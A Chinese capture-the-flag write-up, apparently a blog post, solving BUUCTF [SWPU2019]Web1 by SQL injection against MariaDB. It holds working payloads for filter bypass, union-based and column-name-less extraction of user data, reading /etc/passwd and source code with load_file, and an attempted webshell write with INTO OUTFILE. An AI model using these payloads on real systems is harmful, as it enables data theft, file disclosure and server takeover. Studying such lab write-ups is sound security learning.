BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改

目录:

    • 一、自己做:
    • 二、不足&&学到的:
    • 三、学习WP
      • 1.测试看看过滤了那些关键字,(这里要多看看,学学)
      • 2.使用无列名注入:
        • 这里稍停一下:
      • 3.下面学习无列名注入:
    • load_file(),既然中间那块能够执行select了。那么 这个是不是也应该可以啊
        • 1. 查看文件,
        • 2. 写入木马:




无列名注入详解:无列名注入详解

参考自:本题目的详解
写博客只是为了输出学习而已,
无他

一、自己做:

发现了 那个广告的地方可能有漏洞

第二次做:。没做出来,这里卡壳了:
就是 他是个单引号闭合的注入,然后过滤掉了 注释符,我们不能够去用注释去闭合单引号了,
然后这个题能够使用联合查询注入,也就是union select 这个最简单的方法,所以也就不用 报错的盲注了。所以 ' or '1 这些闭合单引号的东西就都不好使了,

在这里插入图片描述

在这里插入图片描述
然后这里学到额了,说可以使用 可以,'2。这样来闭合单引号

二、不足&&学到的:

  1. 尝试了ssti。却忘记了尝试sql注入。。。
  2. 过滤了order的时候,可以用group by 来测试有多少行
  3. 单引号闭合,正常闭合会出错的话,可以,'2。这样闭合,可以看下文
  4. 无列名注入真的爽。。学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习学习
  5. 一般都有limit 0,1的限制,可用group_concat()来将数据弄到一行中去,
  6. 空格用/**/内敛注释绕过。
  7. 再补一句废话,这个才是练习sql绕过的好题,其他题目,那啥呀,真是,奇奇怪怪的过滤,奇奇怪怪的绕过姿势,,,烦死了。。

三、学习WP

用sql注入测试一下
在这里插入图片描述
然后发现是MariaDB数据库的。

1.测试看看过滤了那些关键字,(这里要多看看,学学)

其实这里是最繁琐。最难的地方,我这里就直接看WP了。

经过尝试发现过滤了空格,or,and,–+,#,order等关键字

  1. order可以用group来绕过。 ,order by 换成 group by来看看有多少列,
  2. 空格 可以用 /**/ 这个内敛注释绕过。
  3. 注释符 ,可以用 单引号进行闭合,比如 group by 1, '2

然后 经过 报错的提示,我们猜测 后台的执行语句是:
select * from ads where tile = ‘$tltle’ limit 0,1

用group by 也就是以前的order by 看看有调取几行数据:

1'/**/group/**/by/**/50,'2

z这里的 , '2。用来闭合用的。以前没见到多。这里学到了

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第1张图片
多了,然后用二分法慢慢测:
在这里插入图片描述
然后21 。22都没有报错,23报错了,所以是22行
在这里插入图片描述

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'6
记得前面使之 不对,然后后面单引号闭合

他最后用单引号闭合了,但是这是算上单引号这个才是22个。所以他union select的时候,也将后面的这个单引号也给算上了,

在这里插入图片描述
第2,3个位置有回显。
再看用户和版本:

-1'union/**/select/**/1,user(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'6

在这里插入图片描述
在这里插入图片描述
数据库 web1

用 双注入查询

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from information_schema.tables/**/where
/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第2张图片
查询表时,发现information_schema.tables被过滤,删除information_schema.tables后正常

2.使用无列名注入:

而且Maria数据库的这个表 可以查表表明 :就是这个库: mysql.innodb_table_stats
所以,查询表:

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/
mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述然后从各个表中 查找列明:

-1'union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述
然后发现, information_schema.columns 也被过滤了,
但是这回MariaDB数据库没有 专门存放列明的数据库了啊

这时候就要用到 无列名注入了!!!

这里稍停一下:

如果我这样呢?
BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第3张图片
也是可以不用列名的呀。

然后,我就尝试:

-1'union/**/select/**/1,(select/**/*/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第4张图片

不行啊,select * 不行,多了,还是 用 无列名注入把。。。

接着无列名注入:
这个是外文网站,讲得贼棒。

这个是 这个歌Web1 的题解。

3.下面学习无列名注入:

情景假设:知道了一个 表明为 users 。然后 不知道列名,要查询 键值。

正常查询时。题目后面有 limit 0,1我们这里也带上。
BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第5张图片
BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第6张图片
然后,如果不知道 列名的话,怎么弄呢?
BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第7张图片
这个在题目中不好使,还是学无列名注入把。

在这里插入图片描述BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第8张图片
这是若要引用,可以用反引号来:

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第9张图片
这样就单独查询了 第 6 列。
这时,
如果 反引号被过滤了。也有其他的方法

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第10张图片不管是 用 反引号 还是 用 as 都是可以进行 group_concat

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第11张图片

然后回到这题上面去:

这是payload:

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from /**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

这是查询第一列的数据的时候,

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第12张图片结果是这样的

在这里插入图片描述
然后查询第二列的数据:

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

就是将 as a 往后挪一位嘛。
在这里插入图片描述
就是这个样子:

然后是 第三列,
payload:

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,1	5,16,17,18,19,20,21,'22

在这里插入图片描述
ok,over了。
但是,这样的话,你可能想不明白这个sql数据库内部的数据到底是怎么存储的,
什么样子的格式,甚至,你只知道是用这个payload。但是当你自己真正做题的时候,

做到了这里,却迷迷糊糊,找不到flag在哪一列:

看这里,我的本地测试:

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第13张图片
BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第14张图片

然后到了这个题这里:

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

如果这个看不懂的话,就看那个 英文的文章,就能够看明白了
BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第15张图片

load_file(),既然中间那块能够执行select了。那么 这个是不是也应该可以啊

1. 查看文件,

1'/**/union/**/select/**/1,(select/**/load_file('/etc/passwd')),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第16张图片
可以,

1'/**/union/**/select/**/1,(select/**/load_file('/flag')),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2。是空的,,,不展示,,

看一下源码
1'/**/union/**/select/**/1,(select/**/load_file('/var/www/html/index.php')),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2

BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入--无列名注入-group_concat ---- /**/---group by ----- 3.9修改_第17张图片

2. 写入木马:

读取不到,那就写木马把,

1'/**/union/**/select/**/1,(select /**/''/**/into/**/outfile/**/'/var/www/html/shell.php'),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2
防火墙直接把环境弄崩 了。。。

在这里插入图片描述

你可能感兴趣的:(BUUCTF刷题记录,sql注入,数据库,mysql,sql)